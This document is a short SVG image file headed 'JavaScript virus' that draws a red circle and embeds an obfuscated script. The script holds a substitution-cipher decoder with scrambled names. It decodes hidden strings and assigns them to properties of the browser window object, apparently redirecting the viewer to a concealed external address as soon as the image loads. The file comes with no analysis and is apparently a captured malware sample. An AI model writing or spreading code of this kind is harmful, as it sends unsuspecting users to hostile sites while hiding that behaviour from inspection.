JavaScript virus

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
    function toycipjv(dvrvth, jgvedp, lkxux) {
for (var uxgiwj = "l6h.Ipds75CZg1STmuKt_rj9bOFkYiR:PX2V=/cJMvfLHGxDaAe03nByz?NUE4o8", mtncwi = ["3t4RosS?kY6Da8=X1gBnZIN70OMfKF.eTUjEbVhCl5xyuvr:cmG2zAJ9LPH_pi\/d","OFMXfgyCS0Z9ev=:j6Hs5dATV?xlDP3E4Rrh1LJp2Ico7.BbtKY_UNunmaG\/8kiz","aeZH41Cg=m3pYuEd_.92citIDPhJoXS\/fUlFb8TnsL6z?:BVkKGOMj0v7ryN5ARx","lxVsK81\/Zd2vIRYbA.pDTH45O?kF7Jg36NzGS=jnoEaCBfht0ceUr:u_iXLMPmy9"], rccqmj = "", qmcbx = 0; mtncwi[qmcbx];) qmcbx++;
for (var lszyc = 0; dvrvth[lszyc];) {
    for (var tlavys = 0, ynihdr = -1; uxgiwj[tlavys];) {
        if (uxgiwj[tlavys] == dvrvth[lszyc]) {
            ynihdr = tlavys;
            break
        }
        tlavys++
    }
    if (ynihdr >= 0) {
        for (var gamokm = 0, lidgo = -1; mtncwi[lszyc % qmcbx][gamokm];) {
            if (mtncwi[lszyc % qmcbx][gamokm] == dvrvth[lszyc]) {
                lidgo = gamokm;
                break
            }
            gamokm++
        }
        rccqmj += uxgiwj[lidgo]
    } else rccqmj += dvrvth[lszyc];
    lszyc++
}
var otrde = "";
for (refcuw = jgvedp; refcuw < rccqmj.length; refcuw++) otrde += rccqmj[refcuw];
return rccqmj = otrde
}

  var jtqktz = window;
  var brukhl = toycipjv("1dXHxBBl3VY0?J2ys",14,false);
  var rtvde = toycipjv("Siv4gdYAcsayht2J/N",10,true);
  var ofuqn = toycipjv("?Miex",1,true);
  jtqktz[brukhl][rtvde][ofuqn] = toycipjv("Ggvwgw2IFI_JAgkVns13VLvJACGwGX./VORjcsXyAX1Vs",15,false);
  ]]></script>
</svg>